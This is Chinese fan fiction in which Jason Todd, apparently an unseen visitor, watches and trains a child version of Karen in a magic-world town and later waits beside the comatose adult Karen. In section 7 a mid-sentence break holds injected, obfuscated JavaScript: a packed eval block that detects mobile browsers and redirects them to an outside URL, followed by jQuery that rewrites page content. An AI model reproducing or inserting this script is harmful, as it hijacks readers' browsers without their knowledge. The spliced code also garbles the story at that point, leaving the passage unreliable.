1
小卡伦醒来的时候，天还没亮。
杰森感觉到那个蜷缩在破布堆里的孩子呼吸的节奏变了，从深睡的慢变成将醒的浅，然后突然停了一拍。
曾经在睡梦中被别人绑走吗？醒来的瞬间先屏住呼吸，听周围的声音，确认安全，再开始呼吸。
小卡伦睁开眼睛。
他躺着没动，眼睛扫过房间的每一个角落——门缝、墙上的裂缝、窗户的方向——最后落在杰森坐着的那个墙角。
看穿了。
杰森没有动。他知道小卡伦看不见他，至少现在还看不见。
小卡伦从干草堆里坐起来，把盖在身上的破布叠好，压在草堆最下面。动作很轻，几乎没有声音。然后他从衣服里摸出那个纸包，掰了一小块面包边角塞进嘴里，嚼了很久，咽下去。剩下的重新包好，塞回衣服里。
他站起来，拍了拍裤腿上的灰，走到门板前从缝隙里往外看了一眼。巷子里是黑的，远处的塔尖上有一点橘红色的光，像一只半闭的眼睛。
小卡伦深吸一口气，一瞬间露出了点不清不愿的表情，但还是挤出门缝。
杰森跟了上去。
———
2
清晨的小镇和夜里差别很大。
石板路上蒙了一层薄雾，贴着地面流淌。远处传来金属碰撞的声音，叮叮当当的，是铁匠铺开工了。空气里有股焦煤的味道，混着海腥味。
小卡伦贴着墙根走。杰森注意到他走的路和昨天不一样，看来这次并不是去面包房。
所以他就不吃早饭了吗？亏不得长大了没他高。
（卡伦：你那个体型就不用对比了吧。。我一米八也算不上矮的好吗？！）
走了大概十分钟，他在一栋石房子前面停下来。
这栋房子比镇上的其他建筑都要大，门口立着两根石柱，柱子上刻着符文。门是铁铸的，上面有一个狮头形状的门环。房子没有窗户，只有几道细长的通风口，在墙面上排成一排，像眯起来的眼睛。
小卡伦没有靠近正门。他绕到房子侧面，在一道通风口下面蹲下来。通风口离地面大概一人高，他够不着。他看了看周围，从墙角搬了几块碎石头垒在一起，踩上去，踮起脚尖，眼睛刚好够到通风口的边缘。
他把耳朵贴上去。
杰森明白了。这里是学堂。卡伦说过他的魔法最开始是偷学来的，直到后面有了点基础之后才遇到师傅。
通风口里传出来一个声音，低沉的，带着金属质感的共鸣。杰森听不懂——不是英语，也不是他听过的任何一种语言。
奇怪的是，镇子上居民平时的用语和他们那里差不多，无非是口音的差别。只是在涉及到魔法的事情上会用这种听不懂的语言。
难道日不落帝国曾经的地盘已经跨世界了？
小卡伦的眼睛眯起来了。他在听，嘴唇微微张开，无声地重复着那些词。他的手指在墙上画，一笔一划，把听到的每一个符文刻在石头的灰尘上。刻完就用手抹掉，再画下一个。
老天，他竟然真的学会了。
杰森站在他身后，看着那双瘦削的手在墙面上移动。有的符号很复杂，几十笔才能画完，小卡伦的手指移动得很快，画完之后他会停一下，闭上眼睛，嘴唇翕动，像是在脑子里把那个符号翻来覆去地咀嚼几遍，然后才抹掉。
可以说，相比现在在课堂上打盹的那些学生，小卡伦要认真不少。
一个声音从通风口里传出来，是另一个年轻的，带着一点不耐烦的嗓音。
“……外面有人。”
小卡伦的手指停住了。
他的身体没有动，呼吸被刻意放缓，像是蛰伏起来的小兽。
通风口里传来脚步声，朝着这个方向来的。
目的这么明确，看来已经发现他了。
小卡伦从碎石块上跳下来，动作轻得像一片落叶。他没有跑，快步走到墙角的阴影里蹲下来，把身体缩成一团。头发垂下来遮住了脸，灰泥在晨光中显得和墙壁的颜色几乎一样。
铁门开了。
一个人走出来。年轻，大概十六七岁，穿着一件深蓝色的长袍，袍角绣着银色的符文。他的眼睛是浅灰色的，眼窝很深，嘴唇很薄。他走到小卡伦刚才站的那个通风口下面，抬头看了一眼，又低头看了看地上那几块垒起来的碎石。
碎石的摆放位置变了，小卡伦走的时候来不及复原。
那个年轻人蹲下来，看着那几块石头。然后他站起来，目光扫过整条巷子。
扫过小卡伦藏身的那个墙角。
停了一秒。
然后移开了。
年轻人转身走回铁门里，门关上了，狮头门环晃了两下，发出沉闷的声响。
小卡伦还蹲在墙角里。他没有动。杰森数着，一秒，两秒，三秒——三十秒过去了，小卡伦才呼出一口气。他的肩膀塌下来，从墙角里站起来，没有再去通风口，转身往巷子外面走。
他走得比来的时候更快。
杰森跟在他身后，看着他走进一条更窄的巷子，在一个没有人的拐角停下来。小卡伦靠着墙，慢慢蹲下去，把脸埋进膝盖里。
他没有哭，也没有发出任何声音。他就那么蹲着，把自己缩成很小很小的一团。
杰森蹲在他对面，看着他。
他知道小卡伦为什么害怕。不是因为差点被发现——被发现的风险一直都在。他害怕的是那个年轻人的眼神。那个年轻人蹲下来看碎石的时候，目光扫过巷子，在小卡伦藏身的那个墙角停了一秒。
那一秒不是偶然，他绝对看到了。
但他选择了掠过。
“我知道你在这里，但我不在乎。”
那种忽视是看见了也不觉得你值得被处理。你太小了，太弱了，太不重要了。你构不成威胁，你甚至不值得他浪费一个手势。
这种漠视相比打骂，或许要更让卡伦难受一些。
如果是一个从小贫穷流浪的孩子，或许觉得没什么，但卡伦曾经也有一个幸福的童年，是被爸妈捧在手心里的孩子。
这个年纪的青少年已经有了自己的自尊心，这时卡伦也才在这个陌生的世界挣扎了一年，还会为了这种程度的漠视而受伤。
当然，如果之后的卡伦碰见现在的自己，只会拍拍这个稚嫩的自己：嘿，小子，别伤心，相比之后这个世界对你的狂轰乱炸，现在的你简直是在新手村。
小卡伦没蹲太久，他固然感到有点难过，尽管他现在还没有进化到可以不为此受伤，但至少他已经习惯了这种伤痛。
他很快整理好了情绪，转身往巷子另一头走去。
———
3
接下来几天，杰森跟着小卡伦走遍了小镇的每一个角落。
他看到了小卡伦去铁匠铺搬货。铁匠是一个长着四只手臂的类人生物，每一只手臂都有杰森的大腿粗。让小卡伦把一摞铁锭从仓库搬到炉子旁边，一块铁锭几乎有他半个身体大。
杰森抱臂在旁边看着，心里默默盘算：卡伦搬货的时候应该是偷偷用了魔法，以他的身体素质，不可能把那些东西真的搬起来。
尽管如此，第十二块搬完的时候，小卡伦的手掌心也磨出了水泡。他把铜币装进口袋，把手藏进袖子里，不让铁匠看到。
小卡伦还是很感激铁匠的。
这些活对于铁匠来说算不得什么，只是个用来给卡伦一些钱的幌子，毕竟瘦弱的流浪小孩，尤其是大概率是纯种人类的小孩在他们镇上是受歧视的，铁匠为了合群就不可能明目张胆地给他帮助。
杰森还看到了小卡伦去学堂后门翻垃圾。那些被扔掉的旧书残页、写废的羊皮纸、用过的墨水瓶——小卡伦把它们从垃圾堆里捡出来，摊在地上，一张一张地看。他把还能辨认的符文抄在墙上的灰尘上，背下来，然后用手抹掉。
看到了小卡伦被大孩子堵在巷子里。三个，比小卡伦高半个头，领头的那个手里拿着一根木棍。他们把小卡伦逼到墙角，领头的一把揪住他的衣领把他提起来，小卡伦的脚尖离了地。他们翻他的口袋，把带在身上的十几个铜币全部掏走了。然后把他扔在地上，踢了他一脚，笑着跑了。
卡伦在这过程中没有反抗，他打不过那群大孩子，反抗总要留些伤，付出的代价会更大。
他趴在地上，过了几秒才爬起来。嘴角破了，血流到下巴上，和灰泥混在一起，变成一种脏兮兮的粉色。
他没有哭。
他蹲下来，把被翻乱的纸包重新叠好塞回衣服里。然后站起来，拍掉身上的灰，继续走。
杰森站在巷口，看着那个瘦小的背影走远。他的拳头攥得咔咔响。
他改变不了任何事情，他知道。
但这不妨碍他想违背一下老蝙蝠的原则。
———
4
第四天晚上，事情变了。
小卡伦回到废弃建筑的时候，没有像往常一样直接钻进干草堆里睡觉。他站在房间中央，看着墙上那些用炭笔写的字符。那些他从学堂偷听来的、从垃圾堆里捡来的、从各种缝隙里抠出来的魔法知识。
他盯着它们看了很久，然后伸出手，用手指一个一个地摸过去。
杰森注意到他的动作很轻，像在抚摸某种珍贵的东西。
小卡伦摸完最后一个字符，把手收回来，在衣服上蹭了蹭。然后他从干草堆下面摸出那个布袋，倒出里面的矿石——只剩两块了。他把两块矿石握在手心里，闭上眼睛。
嘴唇在动。
杰森听不出和之前的治疗术有什么区别，但他看到小卡伦的表情变了。不再是之前那种小心翼翼的、一个字一个字确认的念法。他的嘴唇动得很快，句子和句子之间没有停顿，仿佛已经在脑子里排练了无数次。
矿石亮了一下。不是之前的蓝光，是金色的，和他眼睛的颜色一样。
光从矿石里涌出来，沿着小卡伦的手指爬上去，覆盖了他整只手。他的手在光中变得透明——杰森能看到光下面细细的、像鸟的骨骼一样的手指。
小卡伦睁开眼睛，低头看着自己发光的手。
他露出这些天来第一个，发自内心的，又带了点得意扬扬的笑。
虽然来到这个世界糟糕的要命，但这可是魔法哎！在他的家乡一辈子都学不到的东西！
他现在也可以称得上是魔法少年啦！
那道金色的光只持续了几秒，矿石碎成粉末，从他的指缝里漏下去。另一块矿石表面出现了一道裂纹。小卡伦把它放回布袋里系好，塞回干草堆下面。
他躺下来，把破布盖在身上，闭上眼睛。
这一次，他没有立刻睡着。他的手放在胸口，手指微微蜷着，像是在握什么东西。杰森看到他的嘴唇又动了，这次很慢，只有两个音节。
不是魔法，是名字。
不是英文，但杰森听懂了。
那是卡伦自己的名字。他的真名。不是“卡伦·格里索温”这个被魔法世界接受的名字，是他在哥谭的名字，他父母给他取的名字。
那是蝙蝠侠最终也没有查出来的名字。
像卡伦这么高战力的哥谭人，早就被蝙蝠侠做成表了。但奇怪的是，即使是蝙蝠侠，也没有查到卡伦过去的事，甚至没有查出他的父母和姓名，就像他们从来不存在。
在卡伦出现时，他就已经是卡伦了，杰森也是第一次知道，这可能不是他的本名。
他在睡前念自己的名字，怕自己忘记。
卡伦是不是说过在魔法世界，名字很重要来着？所以，干脆给自己取了个假名吗？
杰森坐在墙边，看着那个蜷缩在破布堆里的孩子。他的喉咙发紧，无力感裹紧了他。
他想起自己在犯罪巷的日子。他也是这么过来的。饿肚子，被打，被人当作不存在。他知道卡伦之后将要面对更多困难，但光是这一部分已经够让他难受了。
他看到了卡伦的困境，但卡伦的过去他已无力插手。
那个已经成为一个强大的魔法师的卡伦不再需要别人的帮助，而这个小卡伦即将经历的，如同剥皮抽筋一般的生长痛，他也没办法在那时陪在他身旁。
杰森把手伸进口袋，摸到了那几枚冰蓝色的符石，是卡伦刻的那批。在哥谭，在诊所里，在那些安静的下午，卡伦坐在诊台后面，低着头，一颗一颗地刻这些东西。
这些他曾在那些沙土，石砾上笔划过的，毫无价值的符文，也到了千金难求的珍贵地步。
———
5
第五天，小卡伦从面包店后门拿了纸包之后，没有像往常一样直接走。
他站在巷子里，把纸包打开，掰了一块面包塞进嘴里，嚼着，然后突然停了下来。
他的头转向杰森站的方向。
眼睛眯起来了。
不是之前那种模糊的感知，他的目光聚焦在杰森的胸口——吊坠的位置。
靠在卡伦对面墙上的杰森低头看了一眼自己的吊坠。
他抬头，和小卡伦对视上了。
“你是谁？”
声音很轻。沙哑的，像很久没有和人说过话。但他没有恐惧，没有慌张，只是对任何新出现的“不对劲”都保持着一种冷静的戒备。
“你能看见我了？”
“你是鬼吗？”
杰森愣了一下。
“……不是。”
“那你怎么出现的？”
“说来话长。”
小卡伦歪了歪头，想了想，然后做了一个杰森没想到的动作——他把纸包重新叠好塞进衣服里，在巷子边上的台阶上坐了下来。
“那就长话短说。”
还真是有卡伦那种出人意料的风格。
杰森看着卡伦像一个小大人一样坐在台阶上，随后在他旁边坐下来。
台阶很窄，两个人坐不下。他坐在地上，把后背靠在台阶的边缘，侧过头看着小卡伦。小卡伦也侧过头看着他。金色的眼睛和蓝色的眼睛在傍晚的光里对上了。
杰森想了想，说：“我叫杰森。”
“杰森什么？”
“杰森·陶德。”
小卡伦把这个名字在嘴里嚼了一遍，像是在品味它的味道。“陶德，”他说，“你是英国人？”
“不是，是美国。哥谭人。”
小卡伦的眼睛亮了一下。
在这个没有一个人知道他来自哪里的世界里，他第一次听到一个熟悉的地名时。像在黑夜里走了很久，突然看到远处有一盏灯。
“哥谭，”他重复了一遍，声音比刚才轻了一些，“你怎么从哥谭到这里的？”
“被人送来的，不是自愿的，哦，也说不好。”至少想来救你这部分是自愿的。
“谁送你来的？”
“说来话长的那部分。”
小卡伦看了他一眼，点了点头，没有追问。
杰森注意到他在听到“哥谭”之后，不再是那种挺直的、随时准备跑路的坐姿，明显有了点长谈的欲望。
“你在哥谭住哪儿？”小卡伦问。
“犯罪巷。”
“你是从那里出来啊。”
“嗯。”
“你活下来了。”
“嗯。”
小卡伦低下头，看着自己的手。手指上全是细小的伤口，指甲缝里嵌着洗不掉的泥。
“我也是。”他说。声音很轻，但杰森听得很清楚。
不是“我也会活下来”的未来时，是“我也在活着”的现在时。
“你是怎么活下来的？”小卡伦问。他转过头看着杰森，眼睛里有一种认真的、不太像十一岁孩子的好奇，或者说有一点虚心请教的意味，“在犯罪巷。”
杰森想了想。
“偷东西，比如蝙蝠车的轮胎。打架，跑得比别人快。”
小卡伦听见蝙蝠车的时候嘴角动了一下：“我也会打架。”
“你那个不叫打架。”杰森说，“你那是挨打。”
小卡伦皱了皱眉，但没有反驳。他低下头，把裤腿卷起来，露出小腿上那块已经淡得快看不见的淤青。
“我在学了。”
“学什么？”
“怎么还手。”
他不会一直忍耐这种受人制约的生活，他会变强，直到足够保护自己，也足够保护自己在意的人。
杰森沉默了几秒。
“我教你。”
小卡伦抬起头。“你？”
“我。”杰森说，“反正我也没事干。”
小卡伦歪着头看了他一会儿，似乎在判断这个人是不是在开玩笑。
“你打得过他们吗？”
“我现在可打不到实物，”杰森说，“但我可以教你怎么样用好你有的东西。”
小卡伦想了想。“我有什么？”
“你跑得快，身体轻，会观察。”杰森一个一个地数，“你刚才在巷子里蹲下来的时候，选的位置是墙角，左右都有遮挡，前面是开阔地。你跑的时候有控制动作，没声音。而且把平时容易被当成人类的特征都做了伪装。”
小卡伦听着，眼睛里的光一点一点地变亮。
“你注意到了？”
“我跟了你四天了。”
小卡伦的嘴角终于翘了起来，然后又迅速变回正经的样子。
“那明天开始，”小卡伦说，“你教我。”
“好。”
———
6
接下来的几天，杰森一直在做这件他知道可能没有用的事。
这里是卡伦的过去，而过去已经发生，不可改变。
但他还是在教小卡伦怎么打架。
“如果你被推到墙上，不要硬顶。顺着他的力气转，用他的推力把自己甩出去。”
“打肚子，或者男性的话就是下三路。打致命部位的话，容易闹大。肚子那里没有骨头，目标大，疼的时间长。”
“被人抓住手腕的时候，往他大拇指的方向拧。”
小卡伦听着，做着动作。他的动作很生涩，但学得很快。杰森说一遍，他就记住了。
“你以前学过？”杰森忍不住怀疑。
“没有，但我看过。”小卡伦说，“镇上的守卫训练的时候，我躲在墙后面看过。而且我记忆力好，不然的话也偷学不到那么多魔文知识。”
杰森看着他。
“你还看过什么？”
“魔法，炼金术，铁匠怎么打铁，面包师怎么揉面。”小卡伦数着，“药铺的人怎么配药，学堂的人怎么画符文。”
“你什么都看？”
“什么都要学一点，不然会死掉的。”
杰森没有接话。这句话不是夸张，不是比喻。是陈述事实。
他们就在废弃建筑后面的空地上练。地面是碎石子铺的，踩上去会发出沙沙的声音。
他一遍一遍地练杰森教他的动作，每一遍都比上一遍快一点，准一点。身体各处也更加有力，但食物上的消耗也增加了，这让卡伦不得不多抽出一点时间来打工。
好在这些付出都是有回报的。
杰森坐在一块倒下来的石头上，看着在夜空下一遍一遍地练。
“你的手抬高了，护住下巴。”
小卡伦把手放低了一点。
“对，就是这样，再来。”
小卡伦又出了一拳，这一次他的拳头带着风声。
“你以前杀过人吗？”杰森问。
“没有。”
“杀过之后就不一样了。”杰森说，他知道小卡伦将来要面对什么，所以也不回避和小孩谈起这些话题，“第一次杀人的时候，你会觉得自己变成了另一个人，灵魂仿佛会变沉重。”
小卡伦停下来，转过头看着他。“变沉重？”
“嗯，像往身体里塞了一块石头，拿不出来的那种。”
小卡伦想了想，然后出了一拳。这一次力气很大，拳头砸在空气中，发出“啪”的一声。
“我不怕变重。”他说。
杰森看着他，没有说话。
他知道这个孩子不怕，这个孩子未来会扛起比那块石头更重的东西。
———
7
训练完的晚上，他们会坐在废弃建筑的门口，看着远处那座黑色的塔。塔尖上那点橘红色的光还在，像一只永远不会闭上的眼睛。
小卡伦会从衣服里拿出纸包，掰一小块面包，慢慢地嚼。杰森不吃东西，但他会坐在边，看着小卡伦吃。
“哥谭现在是什么样子的？”小卡伦问。
杰森想了想。他不知道该怎么跟一个困在魔法世界的十一岁孩子描述哥谭。说“很糟糕”？相比卡伦在这里的生活好像也没有。说“比你这里好”？这也太扎心了。
“有一条河。”杰森说，“河面上有船。晚上的时候，船上的灯倒映在水里，像碎了的星星。”
小卡伦的眼睛亮了一下。
“犯罪性还是老样子，我在那里长大的。房子很破，墙上全是涂鸦，街角的垃圾永远没人收。但巷子尽头有一棵很大的树，不知道什么品种，反正它一直长在那里。不过蝙蝠侠出道之后，治安多少好了一点。哦，你这个年纪的话，大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444139|201073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
概知道他？”
“我当然知道他。”卡伦露出了理所当然的表情，但随之又有点落寞，换了个话题，“你喜欢那棵树？”
“算不上喜欢。”杰森说，“但印象很深。它一直在那里，不管那条街上死了多少人，它都在那里。”
小卡伦沉默了一会儿。
“我曾经住的那条街上没有树。”他说，“但有一个喷泉，已经不喷水了。池子里长满了青苔。下雨的时候，青苔会变成绿色，很亮很亮。”
他说话的时候，眼睛看着远处，像是在看那个已经不喷水的喷泉。
“你喜欢那个喷泉？”杰森问。
“算不上喜欢。”小卡伦学着他的语气说，“但它一直在那里。”
杰森的嘴角动了一下。
他们又沉默了一会儿。雾气从巷口漫进来，贴着地面流淌。远处的铁匠铺已经关门了，叮当声停了，只剩下海浪的声音。
“杰森。”
“嗯。”
“你会走吗？”
杰森想了想。“会。”
“什么时候？”
“不知道。”
小卡伦点了点头，没有说话。他把最后一点面包塞进嘴里，嚼了很久，咽下去。
“你走的时候，”他说，“跟我说一声。”
“好。”
小卡伦站起来，拍了拍裤腿上的灰，转身走进门缝里。
杰森坐在门口，听着里面的动静——干草堆的沙沙声，衣服摩擦的声音，然后是一声很轻的、几乎听不见的叹息。
他靠着门框，看着远处那座黑色的塔。
塔尖上的光还在亮着。
———
8
第六天，小卡伦没有去搬铁。
他带着杰森去了镇子外面。
出了镇子是一条土路，两边是荒草地，草很高，黄绿色的，风一吹就倒下去一片。远处能看到海，灰蓝色的，和天空融在一起，分不清界限。空气里有盐的味道，比镇子里重。
小卡伦走在前面，光着脚踩在土路上，走得很快。
“你带我来这里干什么？”杰森问。
“给你看个东西。”
他们走了大概二十分钟，到了一个山坡上。山坡不高，但站上去能看到整个小镇——冷色调的房子挤在一起，像一堆快要散架的积木。远处那座黑色的塔比其他所有建筑都高，塔尖刺进灰黄色的云里，像一个警告。
小卡伦在山坡上坐下来，把下巴搁在膝盖上。
“我第一次来这里的时候，”他说，“是刚到这里的第一天。”
杰森在他旁边坐下来。
“我醒来的时候在一个巷子里，不知道自己在哪，不知道发生了什么。我跑遍了每一条街，想找到回家的路。”他的声音很平静，像在讲别人的故事。
“后来我跑到了这里。站在这个山坡上，看到整个镇子。没有我认识的地方。没有一条路是我认识的。”
他停了一下。
“然后我就知道，我回不去了。”
杰森没有说话。他看着小卡伦的侧脸。他的睫毛很长，垂下来的时候在颧骨上投下一小片阴影。
“你想回去吗？”杰森问。
小卡伦沉默了很久。
“想。”他说，“但想也没用。”
杰森看着他。这个孩子坐在山坡上，双手抱着膝盖，下巴搁在膝盖上。他的表情带着一点淡然，似乎已经接受了自己的命运。
“我有时候会做梦，”小卡伦说，“梦见我还在家里。妈妈在做饭，爸爸在看报纸。我推开家门，他们抬头看我，说‘你回来了’。”
他的声音有一点发抖，但他控制住了。
“然后我醒了，这里没有门。”
杰森把手伸过去，想要拍拍卡伦的肩膀。但半途又想起来他碰不到物体。
他把胳膊收回来。
小卡伦看了他一眼。“你在干什么？”
“没什么。”
小卡伦歪了歪头，给了他一个笑脸：“你想拍我的肩膀？”
杰森没有回答。
小卡伦想了想，往杰森的方向挪了一点。肩膀靠过来，停在一个杰森的手刚好能碰到的位置。
“你拍吧。”他说，“虽然碰不到。”
杰森看着他的肩膀。那只瘦削的、裹在大了好几号的衣服里的肩膀。
他把手伸过去，悬在小卡伦的肩膀上方。，
“你叫什么名字？”杰森问。
“卡伦。”
“卡伦什么？”
“卡伦·格里索温。”
“那是这个世界的名字。”杰森说，“你原来的名字呢？”
小卡伦沉默了几秒。
“我不想说。”
我不想在这个世界里提起那个名字，他不属于这个世界。
杰森没有追问。
“那就不说。”
他们坐在山坡上，看着灰黄色的云慢慢移动。海风吹过来，带着盐的味道。小卡伦把衣领竖起来，挡住风。
“杰森。”
“嗯。”
“你说你从哥谭来的，那你见过蝙蝠侠吗？”
杰森差点被自己的口水呛到。
“……见过。”
“你觉得他是好人吗？”
杰森沉默了很久。
“他……是好人。”他说，“但他也是我见过的最固执的人。”
小卡伦点了点头。
“那哥谭有他在，应该不会太差。”
杰森没有说话。
他看着远处灰蓝色的海，想起了哥谭的河，河面上碎成一片一片的月光。想起了犯罪巷尽头那棵不知道品种的树。想起了蝙蝠侠站在滴水兽上的背影。
“哥谭有他在，”杰森说，“确实没有更差。”
———
9
第七天早上，杰森睁开眼睛的时候，发现自己在发光。
银白色的光从他的皮肤里渗出来，像他整个人变成了一盏快要燃尽的灯。
小卡伦已经醒了。他蹲在杰森面前，歪着头看着他身上的光。
“你要走了。”他说。
“嗯。”杰森说。
“那个光，”小卡伦指了指杰森的胸口，“是从这里来的，它一直在叫。从你来的第一天就在叫。”
杰森张了张嘴，不知道说什么。
“它在叫你回去。”小卡伦说。
杰森没有说话。
小卡伦站起来，拍了拍裤腿上的灰。他的表情很平静，和平时一样。但他站起来之后没有走开，而是站在那里，看着杰森。
“你说过，走的时候会跟我说一声。”
“嗯。”
“那你说吧。”
杰森站起来。银白色的光从他身上流出来，在空气中散开，像萤火虫。
他看着小卡伦。这个孩子站在灰黄色的光里，穿着一件大了好几号的衣服，脸上涂着灰泥，头发乱糟糟的，但他的眼睛像两颗打磨过的琥珀。
“我要走了。”杰森说。
小卡伦点了点头。
“谢谢你，”他说，“教我打架。”
“你学得很快。”
“谢谢你，陪我说话。”
“我也没别的事干。”
“你回去之后，”他说，“会记得我吗？”
杰森看着他，那双金色的眼睛里有一点光在闪。是泪光吗？还是被点燃的希望？
“会。”
小卡伦点了点头。他把手伸进口袋里，摸了摸那个布袋。矿石只剩一块了，还有一道裂纹，他没有拿出来。
他以后会记得送杰森很多更好的礼物，那个时候他或许也会把自己的真名告诉他，会和他分享自己在这片给人痛苦又十足梦幻的大陆上的生活，会跟他说说自己有多么开心遇到了他，会感谢他让自己充实了生活的希望。
如果他还能回到哥谭的话。
如果他还能，回到那个遥远的故乡。
“我也会记得你。”他说。
杰森的身体开始变淡。银白色的光从他的指尖和发梢散开，像沙子从指缝里漏下去。
小卡伦看着他，没有动。
“杰森。”
“嗯。”
“哥谭见。”
杰森的喉咙紧了一下。
他想说很多话，最后却都堵在喉咙里。他再也不能参与小卡伦未来的生活，哥谭，这个小卡伦和他的卡伦是同一个吗？如果不是，他又要怎样回答这个孩子呢？怎样回答这个注定命途坎坷的孩子。
光灭了的最后一瞬，他看到小卡伦站在灰黄色的光里，抬起手，朝他挥了挥。
杰森想抬手回应，但他的手指已经不见了。
然后一切消失了。
———
10
杰森睁开眼睛。
他躺在飞船的医疗舱里，头顶是白色的天花板，灯光很亮，刺得他眼睛发酸。他的身体很重，像被灌了铅。手指动了一下，关节发出咔嗒的声响。
他听到比扎罗的声音从远处传来：“杰森。醒了。”
然后是脚步声。阿尔忒弥斯的脸出现在他的视野上方。她低头看着他，表情带着如释重负和“你他妈让我们等了好久”的愤怒。
“你昏迷了三天。”她说。
杰森张了张嘴，喉咙干得像砂纸。
“卡伦呢？”
阿尔忒弥斯的表情变得复杂。
“他还没醒。”
杰森撑着床板坐起来。身体很沉，但他不在乎。他站起来，赤着脚踩在冰冷的金属地板上，往医疗舱外面走。
“杰森。”阿尔忒弥斯喊了一声。
他没停。
他走到走廊尽头的另一个医疗舱门口，推开门。
卡伦躺在床上。白色的床单盖到胸口，双手放在身体两侧。
吊坠在他胸口，蓝绿色的宝石，不发光了。
杰森站在床边，低头看着他，然后在床边的椅子上坐下来。
“你说过的，”他说，声音很低，低到只有自己能听见，“你说‘你喊我，我总是要来的’。”
他顿了一下。
“那你现在可以醒过来了吗？”
卡伦没有反应。
杰森握住了卡伦的手，他的手很冰冷，生命的气息微弱，但脉搏还是顽强的鼓动着。
他看着卡伦。
就像在那个废弃建筑里，看着那个蜷缩在破布堆上的孩子一样。
真好啊，
至少我们又见面了。